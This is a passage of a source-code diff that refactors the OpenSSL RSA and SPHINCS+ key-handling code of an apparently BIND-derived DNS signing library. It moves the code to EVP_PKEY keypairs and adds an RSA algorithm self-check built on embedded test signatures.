+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		pub->keydata.pkeypair.pub = NULL;
+		pub->keydata.pkeypair.priv = NULL;
 		key->key_size = pub->key_size;
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
-	}
-
-	if (pub != NULL && pub->keydata.pkey != NULL) {
-		pubrsa = EVP_PKEY_get1_RSA(pub->keydata.pkey);
+		DST_RET(ISC_R_SUCCESS);
 	}
 
 	for (i = 0; i < priv.nelements; i++) {
@@ -912,65 +961,23 @@ opensslrsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	}
 
 	/*
-	 * Is this key is stored in a HSM?
+	 * Is this key stored in a HSM?
 	 * See if we can fetch it.
 	 */
 	if (label != NULL) {
-#if !defined(OPENSSL_NO_ENGINE)
-		if (engine == NULL) {
-			DST_RET(DST_R_NOENGINE);
-		}
-		ep = dst__openssl_getengine(engine);
-		if (ep == NULL) {
-			DST_RET(DST_R_NOENGINE);
+		ret = opensslrsa_fromlabel(key, engine, label, NULL);
+		if (ret != ISC_R_SUCCESS) {
+			DST_RET(ret);
 		}
-		pkey = ENGINE_load_private_key(ep, label, NULL, NULL);
-		if (pkey == NULL) {
-			DST_RET(dst__openssl_toresult2("ENGINE_load_private_"
-						       "key",
-						       ISC_R_NOTFOUND));
-		}
-		key->engine = isc_mem_strdup(key->mctx, engine);
-		key->label = isc_mem_strdup(key->mctx, label);
-		rsa = EVP_PKEY_get1_RSA(pkey);
-		if (rsa == NULL) {
-			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-		}
-		if (rsa_check(rsa, pubrsa) != ISC_R_SUCCESS) {
+		/* Check that the public component matches if given */
+		if (pub != NULL && EVP_PKEY_eq(key->keydata.pkeypair.pub,
+					       pub->keydata.pkeypair.pub) != 1)
+		{
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		RSA_get0_key(rsa, NULL, &ex, NULL);
-		if (BN_num_bits(ex) > RSA_MAX_PUBEXP_BITS) {
-			DST_RET(ISC_R_RANGE);
-		}
-		if (pubrsa != NULL) {
-			RSA_free(pubrsa);
-		}
-		key->key_size = EVP_PKEY_bits(pkey);
-		key->keydata.pkey = pkey;
-		RSA_free(rsa);
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
-#else  /* if !defined(OPENSSL_NO_ENGINE) */
-		DST_RET(DST_R_NOENGINE);
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
-	}
-
-	rsa = RSA_new();
-	if (rsa == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
+		DST_RET(ISC_R_SUCCESS);
 	}
 
-	pkey = EVP_PKEY_new();
-	if (pkey == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
-	}
-	if (!EVP_PKEY_set1_RSA(pkey, rsa)) {
-		DST_RET(ISC_R_FAILURE);
-	}
-	key->keydata.pkey = pkey;
-
 	for (i = 0; i < priv.nelements; i++) {
 		BIGNUM *bn;
 		switch (priv.elements[i].tag) {
@@ -986,167 +993,101 @@ opensslrsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 			}
 			switch (priv.elements[i].tag) {
 			case TAG_RSA_MODULUS:
-				n = bn;
+				c.n = bn;
 				break;
 			case TAG_RSA_PUBLICEXPONENT:
-				e = bn;
+				c.e = bn;
 				break;
 			case TAG_RSA_PRIVATEEXPONENT:
-				d = bn;
+				c.d = bn;
 				break;
 			case TAG_RSA_PRIME1:
-				p = bn;
+				c.p = bn;
 				break;
 			case TAG_RSA_PRIME2:
-				q = bn;
+				c.q = bn;
 				break;
 			case TAG_RSA_EXPONENT1:
-				dmp1 = bn;
+				c.dmp1 = bn;
 				break;
 			case TAG_RSA_EXPONENT2:
-				dmq1 = bn;
+				c.dmq1 = bn;
 				break;
 			case TAG_RSA_COEFFICIENT:
-				iqmp = bn;
+				c.iqmp = bn;
 				break;
+			default:
+				BN_clear_free(bn);
 			}
 		}
 	}
-	dst__privstruct_free(&priv, mctx);
-	isc_safe_memwipe(&priv, sizeof(priv));
 
-	if (RSA_set0_key(rsa, n, e, d) == 0) {
-		if (n != NULL) {
-			BN_free(n);
-		}
-		if (e != NULL) {
-			BN_free(e);
-		}
-		if (d != NULL) {
-			BN_free(d);
-		}
+	/* Basic sanity check for public key portion */
+	if (c.n == NULL || c.e == NULL) {
+		DST_RET(DST_R_INVALIDPRIVATEKEY);
 	}
-	if (RSA_set0_factors(rsa, p, q) == 0) {
-		if (p != NULL) {
-			BN_free(p);
-		}
-		if (q != NULL) {
-			BN_free(q);
-		}
+	if (BN_num_bits(c.e) > RSA_MAX_PUBEXP_BITS) {
+		DST_RET(ISC_R_RANGE);
 	}
-	if (RSA_set0_crt_params(rsa, dmp1, dmq1, iqmp) == 0) {
-		if (dmp1 != NULL) {
-			BN_free(dmp1);
-		}
-		if (dmq1 != NULL) {
-			BN_free(dmq1);
-		}
-		if (iqmp != NULL) {
-			BN_free(iqmp);
-		}
+
+	key->key_size = BN_num_bits(c.n);
+	ret = opensslrsa_build_pkey(true, &c, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	if (rsa_check(rsa, pubrsa) != ISC_R_SUCCESS) {
+	/* Check that the public component matches if given */
+	if (pub != NULL && EVP_PKEY_eq(pkey, pub->keydata.pkeypair.pub) != 1) {
 		DST_RET(DST_R_INVALIDPRIVATEKEY);
 	}
-	if (BN_num_bits(e) > RSA_MAX_PUBEXP_BITS) {
-		DST_RET(ISC_R_RANGE);
-	}
-	key->key_size = BN_num_bits(n);
-	if (pubrsa != NULL) {
-		RSA_free(pubrsa);
-	}
-	RSA_free(rsa);
 
-	return (ISC_R_SUCCESS);
+	key->keydata.pkeypair.pub = pkey;
+	key->keydata.pkeypair.priv = pkey;
+	pkey = NULL;
 
 err:
-	if (pkey != NULL) {
-		EVP_PKEY_free(pkey);
-	}
-	if (rsa != NULL) {
-		RSA_free(rsa);
-	}
-	if (pubrsa != NULL) {
-		RSA_free(pubrsa);
+	opensslrsa_components_free(&c);
+	EVP_PKEY_free(pkey);
+	if (ret != ISC_R_SUCCESS) {
+		key->keydata.generic = NULL;
 	}
-	key->keydata.generic = NULL;
+
 	dst__privstruct_free(&priv, mctx);
 	isc_safe_memwipe(&priv, sizeof(priv));
+
 	return (ret);
 }
 
 static isc_result_t
 opensslrsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 		     const char *pin) {
-#if !defined(OPENSSL_NO_ENGINE)
-	ENGINE *e = NULL;
+	EVP_PKEY *privpkey = NULL, *pubpkey = NULL;
 	isc_result_t ret;
-	EVP_PKEY *pkey = NULL;
-	RSA *rsa = NULL, *pubrsa = NULL;
-	const BIGNUM *ex = NULL;
-
-	UNUSED(pin);
 
-	if (engine == NULL) {
-		DST_RET(DST_R_NOENGINE);
-	}
-	e = dst__openssl_getengine(engine);
-	if (e == NULL) {
-		DST_RET(DST_R_NOENGINE);
-	}
-	pkey = ENGINE_load_public_key(e, label, NULL, NULL);
-	if (pkey != NULL) {
-		pubrsa = EVP_PKEY_get1_RSA(pkey);
-		EVP_PKEY_free(pkey);
-		if (pubrsa == NULL) {
-			DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-		}
-	}
-	pkey = ENGINE_load_private_key(e, label, NULL, NULL);
-	if (pkey == NULL) {
-		DST_RET(dst__openssl_toresult2("ENGINE_load_private_key",
-					       ISC_R_NOTFOUND));
-	}
-	key->engine = isc_mem_strdup(key->mctx, engine);
-	key->label = isc_mem_strdup(key->mctx, label);
-	rsa = EVP_PKEY_get1_RSA(pkey);
-	if (rsa == NULL) {
-		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	if (rsa_check(rsa, pubrsa) != ISC_R_SUCCESS) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
+	ret = dst__openssl_fromlabel(EVP_PKEY_RSA, engine, label, pin, &pubpkey,
+				     &privpkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
-	RSA_get0_key(rsa, NULL, &ex, NULL);
-	if (BN_num_bits(ex) > RSA_MAX_PUBEXP_BITS) {
+
+	if (!opensslrsa_check_exponent_bits(pubpkey, RSA_MAX_PUBEXP_BITS)) {
 		DST_RET(ISC_R_RANGE);
 	}
-	if (pubrsa != NULL) {
-		RSA_free(pubrsa);
+
+	if (engine != NULL) {
+		key->engine = isc_mem_strdup(key->mctx, engine);
 	}
-	key->key_size = EVP_PKEY_bits(pkey);
-	key->keydata.pkey = pkey;
-	RSA_free(rsa);
-	return (ISC_R_SUCCESS);
+	key->label = isc_mem_strdup(key->mctx, label);
+	key->key_size = EVP_PKEY_bits(privpkey);
+	key->keydata.pkeypair.priv = privpkey;
+	key->keydata.pkeypair.pub = pubpkey;
+	privpkey = NULL;
+	pubpkey = NULL;
 
 err:
-	if (rsa != NULL) {
-		RSA_free(rsa);
-	}
-	if (pubrsa != NULL) {
-		RSA_free(pubrsa);
-	}
-	if (pkey != NULL) {
-		EVP_PKEY_free(pkey);
-	}
+	EVP_PKEY_free(privpkey);
+	EVP_PKEY_free(pubpkey);
 	return (ret);
-#else  /* if !defined(OPENSSL_NO_ENGINE) */
-	UNUSED(key);
-	UNUSED(engine);
-	UNUSED(label);
-	UNUSED(pin);
-	return (DST_R_NOENGINE);
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
 }
 
 static dst_func_t opensslrsa_functions = {
@@ -1158,11 +1099,11 @@ static dst_func_t opensslrsa_functions = {
 	opensslrsa_verify,
 	opensslrsa_verify2,
 	NULL, /*%< computesecret */
-	opensslrsa_compare,
+	dst__openssl_keypair_compare,
 	NULL, /*%< paramcompare */
 	opensslrsa_generate,
-	opensslrsa_isprivate,
-	opensslrsa_destroy,
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy,
 	opensslrsa_todns,
 	opensslrsa_fromdns,
 	opensslrsa_tofile,
@@ -1173,14 +1114,168 @@ static dst_func_t opensslrsa_functions = {
 	NULL, /*%< restore */
 };
 
+/*
+ * An RSA public key with 2048 bits
+ */
+static const unsigned char e_bytes[] = "\x01\x00\x01";
+static const unsigned char n_bytes[] =
+	"\xc3\x90\x07\xbe\xf1\x85\xfc\x1a\x43\xb1\xa5\x15\xce\x71\x34\xfc\xc1"
+	"\x87\x27\x28\x38\xa4\xcf\x7c\x1a\x82\xa8\xdc\x04\x14\xd0\x3f\xb4\xfe"
+	"\x20\x4a\xdd\xd9\x0d\xd7\xcd\x61\x8c\xbd\x61\xa8\x10\xb5\x63\x1c\x29"
+	"\x15\xcb\x41\xee\x43\x91\x7f\xeb\xa5\x2c\xab\x81\x75\x0d\xa3\x3d\xe4"
+	"\xc8\x49\xb9\xca\x5a\x55\xa1\xbb\x09\xd1\xfb\xcd\xa2\xd2\x12\xa4\x85"
+	"\xdf\xa5\x65\xc9\x27\x2d\x8b\xd7\x8b\xfe\x6d\xc4\xd1\xd9\x83\x1c\x91"
+	"\x7d\x3d\xd0\xa4\xcd\xe1\xe7\xb9\x7a\x11\x38\xf9\x8b\x3c\xec\x30\xb6"
+	"\x36\xb9\x92\x64\x81\x56\x3c\xbc\xf9\x49\xfb\xba\x82\xb7\xa0\xfa\x65"
+	"\x79\x83\xb9\x4c\xa7\xfd\x53\x0b\x5a\xe4\xde\xf9\xfc\x38\x7e\xb5\x2c"
+	"\xa0\xc3\xb2\xfc\x7c\x38\xb0\x63\x50\xaf\x00\xaa\xb2\xad\x49\x54\x1e"
+	"\x8b\x11\x88\x9b\x6e\xae\x3b\x23\xa3\xdd\x53\x51\x80\x7a\x0b\x91\x4e"
+	"\x6d\x32\x01\xbd\x17\x81\x12\x64\x9f\x84\xae\x76\x53\x1a\x63\xa0\xda"
+	"\xcc\x45\x04\x72\xb0\xa7\xfb\xfa\x02\x39\x53\xc1\x83\x1f\x88\x54\x47"
+	"\x88\x63\x20\x71\x5d\xe2\xaa\x7c\x53\x39\x5e\x35\x25\xee\xe6\x5c\x15"
+	"\x5e\x14\xbe\x99\xde\x25\x19\xe7\x13\xdb\xce\xa3\xd3\x6c\x5c\xbb\x0e"
+	"\x6b";
+
+static const unsigned char sha1_sig[] =
+	"\x69\x99\x89\x28\xe0\x38\x34\x91\x29\xb6\xac\x4b\xe9\x51\xbd\xbe\xc8"
+	"\x1a\x2d\xb6\xca\x99\xa3\x9f\x6a\x8b\x94\x5a\x51\x37\xd5\x8d\xae\x87"
+	"\xed\xbc\x8e\xb8\xa3\x60\x6b\xf6\xe6\x72\xfc\x26\x2a\x39\x2b\xfe\x88"
+	"\x1a\xa9\xd1\x93\xc7\xb9\xf8\xb6\x45\xa1\xf9\xa1\x56\x78\x7b\x00\xec"
+	"\x33\x83\xd4\x93\x25\x48\xb3\x50\x09\xd0\xbc\x7f\xac\x67\xc7\xa2\x7f"
+	"\xfc\xf6\x5a\xef\xf8\x5a\xad\x52\x74\xf5\x71\x34\xd9\x3d\x33\x8b\x4d"
+	"\x99\x64\x7e\x14\x59\xbe\xdf\x26\x8a\x67\x96\x6c\x1f\x79\x85\x10\x0d"
+	"\x7f\xd6\xa4\xba\x57\x41\x03\x71\x4e\x8c\x17\xd5\xc4\xfb\x4a\xbe\x66"
+	"\x45\x15\x45\x0c\x02\xe0\x10\xe1\xbb\x33\x8d\x90\x34\x3c\x94\xa4\x4c"
+	"\x7c\xd0\x5e\x90\x76\x80\x59\xb2\xfa\x54\xbf\xa9\x86\xb8\x84\x1e\x28"
+	"\x48\x60\x2f\x9e\xa4\xbc\xd4\x9c\x20\x27\x16\xac\x33\xcb\xcf\xab\x93"
+	"\x7a\x3b\x74\xa0\x18\x92\xa1\x4f\xfc\x52\x19\xee\x7a\x13\x73\xba\x36"
+	"\xaf\x78\x5d\xb6\x1f\x96\x76\x15\x73\xee\x04\xa8\x70\x27\xf7\xe7\xfa"
+	"\xe8\xf6\xc8\x5f\x4a\x81\x56\x0a\x94\xf3\xc6\x98\xd2\x93\xc4\x0b\x49"
+	"\x6b\x44\xd3\x73\xa2\xe3\xef\x5d\x9e\x68\xac\xa7\x42\xb1\xbb\x65\xbe"
+	"\x59";
+
+static const unsigned char sha256_sig[] =
+	"\x0f\x8c\xdb\xe6\xb6\x21\xc8\xc5\x28\x76\x7d\xf6\xf2\x3b\x78\x47\x77"
+	"\x03\x34\xc5\x5e\xc0\xda\x42\x41\xc0\x0f\x97\xd3\xd0\x53\xa1\xd6\x87"
+	"\xe4\x16\x29\x9a\xa5\x59\xf4\x01\xad\xc9\x04\xe7\x61\xe2\xcb\x79\x73"
+	"\xce\xe0\xa6\x85\xe5\x10\x8c\x4b\xc5\x68\x3b\x96\x42\x3f\x56\xb3\x6d"
+	"\x89\xc4\xff\x72\x36\xf2\x3f\xed\xe9\xb8\xe3\xae\xab\x3c\xb7\xaa\xf7"
+	"\x1f\x8f\x26\x6b\xee\xc1\xac\x72\x89\x23\x8b\x7a\xd7\x8c\x84\xf3\xf5"
+	"\x97\xa8\x8d\xd3\xef\xb2\x5e\x06\x04\x21\xdd\x28\xa2\x28\x83\x68\x9b"
+	"\xac\x34\xdd\x36\x33\xda\xdd\xa4\x59\xc7\x5a\x4d\xf3\x83\x06\xd5\xc0"
+	"\x0d\x1f\x4f\x47\x2f\x9f\xcc\xc2\x0d\x21\x1e\x82\xb9\x3d\xf3\xa4\x1a"
+	"\xa6\xd8\x0e\x72\x1d\x71\x17\x1c\x54\xad\x37\x3e\xa4\x0e\x70\x86\x53"
+	"\xfb\x40\xad\xb9\x14\xf8\x8d\x93\xbb\xd7\xe7\x31\xce\xe0\x98\xda\x27"
+	"\x1c\x18\x8e\xd8\x85\xcb\xa7\xb1\x18\xac\x8c\xa8\x9d\xa9\xe2\xf6\x30"
+	"\x95\xa4\x81\xf4\x1c\xa0\x31\xd5\xc7\x9d\x28\x33\xee\x7f\x08\x4f\xcb"
+	"\xd1\x14\x17\xdf\xd0\x88\x78\x47\x29\xaf\x6c\xb2\x62\xa6\x30\x87\x29"
+	"\xaa\x80\x19\x7d\x2f\x05\xe3\x7e\x23\x73\x88\x08\xcc\xbd\x50\x46\x09"
+	"\x2a";
+
+static const unsigned char sha512_sig[] =
+	"\x15\xda\x87\x87\x1f\x76\x08\xd3\x9d\x3a\xb9\xd2\x6a\x0e\x3b\x7d\xdd"
+	"\xec\x7d\xc4\x6d\x26\xf5\x04\xd3\x76\xc7\x83\xc4\x81\x69\x35\xe9\x47"
+	"\xbf\x49\xd1\xc0\xf9\x01\x4e\x0a\x34\x5b\xd0\xec\x6e\xe2\x2e\xe9\x2d"
+	"\x00\xfd\xe0\xa0\x28\x54\x53\x19\x49\x6d\xd2\x58\xb9\x47\xfa\x45\xad"
+	"\xd2\x1d\x52\xac\x80\xcb\xfc\x91\x97\x84\x58\x5f\xab\x21\x62\x60\x79"
+	"\xb8\x8a\x83\xe1\xf1\xcb\x05\x4c\x92\x56\x62\xd9\xbf\xa7\x81\x34\x23"
+	"\xdf\xd7\xa7\xc4\xdf\xde\x96\x00\x57\x4b\x78\x85\xb9\x3b\xdd\x3f\x98"
+	"\x88\x59\x1d\x48\xcf\x5a\xa8\xb7\x2a\x8b\x77\x93\x8e\x38\x3a\x0c\xa7"
+	"\x8a\x5f\xe6\x9f\xcb\xf0\x9a\x6b\xb6\x91\x04\x8b\x69\x6a\x37\xee\xa2"
+	"\xad\x5f\x31\x20\x96\xd6\x51\x80\xbf\x62\x48\xb8\xe4\x94\x10\x86\x4e"
+	"\xf2\x22\x1e\xa4\xd5\x54\xfe\xe1\x35\x49\xaf\xf8\x62\xfc\x11\xeb\xf7"
+	"\x3d\xd5\x5e\xaf\x11\xbd\x3d\xa9\x3a\x9f\x7f\xe8\xb4\x0d\xa2\xbb\x1c"
+	"\xbd\x4c\xed\x9e\x81\xb1\xec\xd3\xea\xaa\x03\xe3\x14\xdf\x8c\xb3\x78"
+	"\x85\x5e\x87\xad\xec\x41\x1a\xa9\x4f\xd2\xe6\xc6\xbe\xfa\xb8\x10\xea"
+	"\x74\x25\x36\x0c\x23\xe2\x24\xb7\x21\xb7\x0d\xaf\xf6\xb4\x31\xf5\x75"
+	"\xf1";
+
+static isc_result_t
+check_algorithm(unsigned char algorithm) {
+	rsa_components_t c = { .bnfree = true };
+	EVP_MD_CTX *evp_md_ctx = EVP_MD_CTX_create();
+	EVP_PKEY *pkey = NULL;
+	const EVP_MD *type = NULL;
+	const unsigned char *sig = NULL;
+	isc_result_t ret = ISC_R_SUCCESS;
+	size_t len;
+
+	if (evp_md_ctx == NULL) {
+		DST_RET(ISC_R_NOMEMORY);
+	}
+
+	switch (algorithm) {
+	case DST_ALG_RSASHA1:
+	case DST_ALG_NSEC3RSASHA1:
+		type = EVP_sha1(); /* SHA1 + RSA */
+		sig = sha1_sig;
+		len = sizeof(sha1_sig) - 1;
+		break;
+	case DST_ALG_RSASHA256:
+		type = EVP_sha256(); /* SHA256 + RSA */
+		sig = sha256_sig;
+		len = sizeof(sha256_sig) - 1;
+		break;
+	case DST_ALG_RSASHA512:
+		type = EVP_sha512();
+		sig = sha512_sig;
+		len = sizeof(sha512_sig) - 1;
+		break;
+	default:
+		DST_RET(ISC_R_NOTIMPLEMENTED);
+	}
+
+	if (type == NULL) {
+		DST_RET(ISC_R_NOTIMPLEMENTED);
+	}
+
+	/*
+	 * Construct pkey.
+	 */
+	c.e = BN_bin2bn(e_bytes, sizeof(e_bytes) - 1, NULL);
+	c.n = BN_bin2bn(n_bytes, sizeof(n_bytes) - 1, NULL);
+	if (c.e == NULL || c.n == NULL) {
+		DST_RET(ISC_R_NOMEMORY);
+	}
+
+	ret = opensslrsa_build_pkey(false, &c, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
+	}
+
+	/*
+	 * Check that we can verify the signature.
+	 */
+	if (EVP_DigestInit_ex(evp_md_ctx, type, NULL) != 1 ||
+	    EVP_DigestUpdate(evp_md_ctx, "test", 4) != 1 ||
+	    EVP_VerifyFinal(evp_md_ctx, sig, len, pkey) != 1)
+	{
+		DST_RET(ISC_R_NOTIMPLEMENTED);
+	}
+
+err:
+	opensslrsa_components_free(&c);
+	EVP_PKEY_free(pkey);
+	EVP_MD_CTX_destroy(evp_md_ctx);
+	ERR_clear_error();
+	return (ret);
+}
+
 isc_result_t
 dst__opensslrsa_init(dst_func_t **funcp, unsigned char algorithm) {
+	isc_result_t result;
+
 	REQUIRE(funcp != NULL);
 
-	UNUSED(algorithm);
+	result = check_algorithm(algorithm);
 
-	if (*funcp == NULL) {
-		*funcp = &opensslrsa_functions;
+	if (result == ISC_R_SUCCESS) {
+		if (*funcp == NULL) {
+			*funcp = &opensslrsa_functions;
+		}
+	} else if (result == ISC_R_NOTIMPLEMENTED) {
+		result = ISC_R_SUCCESS;
 	}
-	return (ISC_R_SUCCESS);
+
+	return (result);
 }
diff --git a/lib/dns/opensslsphincs+sha256128s_link.c b/lib/dns/opensslsphincs+sha256128s_link.c
index 8d8ba6d82c..f80a0395a1 100644
--- a/lib/dns/opensslsphincs+sha256128s_link.c
+++ b/lib/dns/opensslsphincs+sha256128s_link.c
@@ -28,56 +28,73 @@
 
 #include <dns/keyvalues.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
 
-#ifndef NID_X9_62_prime256v1
-#error "P-256 group is not known (NID_X9_62_prime256v1)"
-#endif /* ifndef NID_X9_62_prime256v1 */
-#ifndef NID_secp384r1
-#error "P-384 group is not known (NID_secp384r1)"
-#endif /* ifndef NID_secp384r1 */
-
-#define SPHINCSSHA256128S_PUBLICKEY_SIZE 32
-#define SPHINCSSHA256128S_PRIVATEKEY_SIZE 64
-
-
 #define DST_RET(a)        \
 	{                 \
 		ret = a;  \
 		goto err; \
 	}
 
-static bool
-isprivate(EVP_PKEY *pkey) {
-	size_t len;
+#define SPHINCSSHA256128S_PRIVATEKEYSIZE 64
 
-	if (pkey == NULL) {
-		return (false);
+typedef struct sphincssha256128s_alginfo {
+	int pkey_type;
+	unsigned int key_size, priv_key_size, sig_size;
+} sphincssha256128s_alginfo_t;
+
+static const sphincssha256128s_alginfo_t *
+opensslsphincssha256128s_alg_info(unsigned int key_alg) {
+	if (key_alg == DST_ALG_SPHINCSSHA256128S) {
+		static const sphincssha256128s_alginfo_t sphincssha256128s_alginfo = {
+			.pkey_type = EVP_PKEY_SPHINCSSHA256128SROBUST,
+			.key_size = DNS_KEY_SPHINCSSHA256128SSIZE,
+			.priv_key_size = SPHINCSSHA256128S_PRIVATEKEYSIZE,
+			.sig_size = DNS_SIG_SPHINCSSHA256128SSIZE,
+		};
+		return &sphincssha256128s_alginfo;
 	}
+	return NULL;
+}
 
-	if (EVP_PKEY_get_raw_private_key(pkey, NULL, &len) == 1 && len > 0) {
-		return (true);
+static isc_result_t
+raw_key_to_ossl(const sphincssha256128s_alginfo_t *alginfo, int private,
+		const unsigned char *key, size_t *key_len, EVP_PKEY **pkey) {
+	isc_result_t ret;
+	int pkey_type = alginfo->pkey_type;
+
+	ret = (private ? DST_R_INVALIDPRIVATEKEY : DST_R_INVALIDPUBLICKEY);
+	if (private) {
+		if (*key_len < alginfo->priv_key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_private_key(pkey_type, NULL, key, alginfo->priv_key_size);
+	} else {
+		if (*key_len < alginfo->key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_public_key(pkey_type, NULL, key, alginfo->key_size);
 	}
-	/* can check if first error is EC_R_INVALID_PRIVATE_KEY */
-	while (ERR_get_error() != 0) {
-		/**/
+	if (*pkey == NULL) {
+		return (dst__openssl_toresult(ret));
 	}
-	return (false);
-
+	*key_len = (private ? alginfo->priv_key_size : alginfo->key_size);
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 opensslsphincssha256128s_createctx(dst_key_t *key, dst_context_t *dctx) {
 	isc_buffer_t *buf = NULL;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(dctx->key->key_alg);
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_SPHINCSSHA256128S);
 
-	isc_buffer_allocate(dctx->mctx, &buf, 64); // Need to figure out how big...
+	REQUIRE(alginfo != NULL);
+
+	isc_buffer_allocate(dctx->mctx, &buf, 64);
 	dctx->ctxdata.generic = buf;
 
 	return (ISC_R_SUCCESS);
@@ -86,8 +103,11 @@ opensslsphincssha256128s_createctx(dst_key_t *key, dst_context_t *dctx) {
 static void
 opensslsphincssha256128s_destroyctx(dst_context_t *dctx) {
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	REQUIRE(alginfo != NULL);
+	
 	if (buf != NULL) {
 		isc_buffer_free(&buf);
 	}
@@ -101,8 +121,11 @@ opensslsphincssha256128s_adddata(dst_context_t *dctx, const isc_region_t *data)
 	isc_region_t r;
 	unsigned int length;
 	isc_result_t result;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	REQUIRE(alginfo != NULL);
+	
 	result = isc_buffer_copyregion(buf, data);
 	if (result == ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
@@ -125,24 +148,21 @@ opensslsphincssha256128s_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	dst_key_t *key = dctx->key;
 	isc_region_t tbsreg;
 	isc_region_t sigreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.priv;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
 	size_t siglen;
-
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
+	
+	REQUIRE(alginfo != NULL);
+	
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_SPHINCSSHA256128SSIZE;
-
+	siglen = alginfo->sig_size;
 	isc_buffer_availableregion(sig, &sigreg);
-	// zero out buffer
-	unsigned char *_sig = sigreg.base;
-	for (size_t i = 0; i < siglen; i++) {
-		_sig[i] = 0;
-	}
 	if (sigreg.length < (unsigned int)siglen) {
 		DST_RET(ISC_R_NOSPACE);
 	}
@@ -156,7 +176,7 @@ opensslsphincssha256128s_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 		DST_RET(dst__openssl_toresult3(dctx->category, "EVP_DigestSign",
 					       DST_R_SIGNFAILURE));
 	}
-	siglen = DNS_SIG_SPHINCSSHA256128SSIZE;
+	REQUIRE(siglen == alginfo->sig_size);
 	isc_buffer_add(sig, (unsigned int)siglen);
 	ret = ISC_R_SUCCESS;
 
@@ -174,38 +194,21 @@ opensslsphincssha256128s_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	dst_key_t *key = dctx->key;
 	int status;
 	isc_region_t tbsreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	unsigned int siglen = 0;
-
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
+	
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_SPHINCSSHA256128SSIZE;
-	if (siglen == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if (sig->length != siglen) {
+	if (sig->length != alginfo->sig_size) {
 		return (DST_R_VERIFYFAILURE);
 	}
-	unsigned char *_sig = sig->base;
-	int ending_key = -1;
-        if (siglen == DNS_SIG_SPHINCSSHA256128SSIZE) {
-                for (unsigned int i = 0; i < siglen; i++) {
-                        if (_sig[i] == 0 && ending_key == -1) ending_key = i;
-                        else if (_sig[i] == 0) continue;
-                        else ending_key = -1;
-                }
-        }
-        if (ending_key != -1) {
-                siglen = ending_key;
-        }
-
 	isc_buffer_usedregion(buf, &tbsreg);
 
 	if (EVP_DigestVerifyInit(ctx, NULL, NULL, NULL, pkey) != 1) {
@@ -213,7 +216,7 @@ opensslsphincssha256128s_verify(dst_context_t *dctx, const isc_region_t *sig) {
 			dctx->category, "EVP_DigestVerifyInit", ISC_R_FAILURE));
 	}
 
-	status = EVP_DigestVerify(ctx, sig->base, siglen, tbsreg.base,
+	status = EVP_DigestVerify(ctx, sig->base, sig->length, tbsreg.base,
 				  tbsreg.length);
 
 	switch (status) {
@@ -237,66 +240,60 @@ opensslsphincssha256128s_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	return (ret);
 }
 
-static bool
-opensslsphincssha256128s_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	
-	EVP_PKEY *pkey1 = key1->keydata.pkey;
-	EVP_PKEY *pkey2 = key2->keydata.pkey;
-
-	return (EVP_PKEY_cmp(pkey1, pkey2));
-}
-
 static isc_result_t
